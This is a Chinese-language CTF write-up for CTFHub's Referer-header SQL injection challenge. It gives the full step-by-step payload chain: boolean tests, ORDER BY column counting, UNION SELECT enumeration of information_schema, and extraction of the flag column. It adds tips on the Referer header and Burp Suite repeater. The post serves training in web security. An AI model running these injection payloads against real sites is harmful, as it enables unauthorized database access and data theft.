CTFHub | Refer注入

 0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

Refer注入:

        (无)

网页显示内容

        
       

0x02 解题过程

        根据题目显示内容,此题和上一题一致,需要在 Refer 请求头中进行 SQL 注入。那么直接使用 burp suite 抓包工具抓取题目网站的信息,并将抓取到的数据发送给重放器。在 Refer 请求中使用 payload 进行测试,发现此题存在 Refer 注入。那么直接根据注入流程进行注入,最后发现此题 flag 存在于 ncdiyxjtck 数据中。
        

老规矩,直接使用burp suite抓包工具抓取题目网站的信息

        

这次为了方便查看,将抓取到的数据发送给重放器

        

发现抓到的信息中没有Refer请求,那么可以直接写入Refer请求进行测试

Referer: 1 and 1 = 1    #注意Refer请求写入信息名称为Referer

        

继续写入Referer请求中使用进行测试,发现此题存在Refer注入

Referer: 1 and 1 = 2

        

使用order by 判断字段数量,从order by 1开始

Referer: 1 order by 1

判断字段2,使用order by 2

Referer: 1 order by 2

判断字段3,使用order by 3,这里无回显,那么字段数量为2列

Referer: 1 order by 3

知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

Referer: 1 union select 1,2

        

判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以

Referer: 0 union select 1,2

        

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

Referer: 0 union select 1,version()

        

ⅩⅠ修改2为database(),查看数据库名,发现数据库版本为sqli

Referer: 0 union select 1,database()

        

ⅩⅡ查看全部数据库名

Referer: 0 union select 1,group_concat(schema_name)from information_schema.schemata

        

ⅩⅢ在全部数据库名中发现sqli,最后在sqli数据库中发现cirdpxhnev和news两个表名

Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

        

ⅩⅣ先查看cirdpxhnev表中的全部字段名,发现一个数据名为ncdiyxjtck

Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='cirdpxhnev'

        

ⅩⅤ查看数据ncdiyxjtck中的内容,发现此题flag

Referer: 0 union select 1,group_concat(ncdiyxjtck) from sqli.cirdpxhnev

        

        

0x03 Refer 注入常见的问题

1.Refer 和 Referer

        需要注意的是,Refer 只是注入名称,而 Referer header 的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上 Referer ,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

2.重放 Referer 注入无回显

        有小伙伴私信我,为什么我使用 burp suite 工具进行重放的时候,页面没有正常回显。我第一次使用 burp suite 工具的重放器也犯过此类错误,就是写入一个请求时在其数据的空白行中写入数据。需要注意的是,这个空白行也算抓取到的数据。

例如,重放一个演示请求,数据为 error ,写入位置为抓取到的数据空白行中。重放发现页面没有正常回显。

 

那么在写入的数据后面加入一行空白行,重新执行重放,此时的页面可以正常回显。

         

        

0x04 参考文献

[1].mdn web docs. Referer[EB/OL]. [2022-11-26]. https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referer.

[2].百度百科. HTTP_REFERER[EB/OL]. [2022-11-26]. https://baike.baidu.com/item/HTTP_REFERER/5358396.

[3].老司机开代码. Less19 (referer注入)[EB/OL]. [2022-11-26]. https://blog.csdn.net/weixin_43901998/article/details/107021685.

        

        

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尼泊罗河伯

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值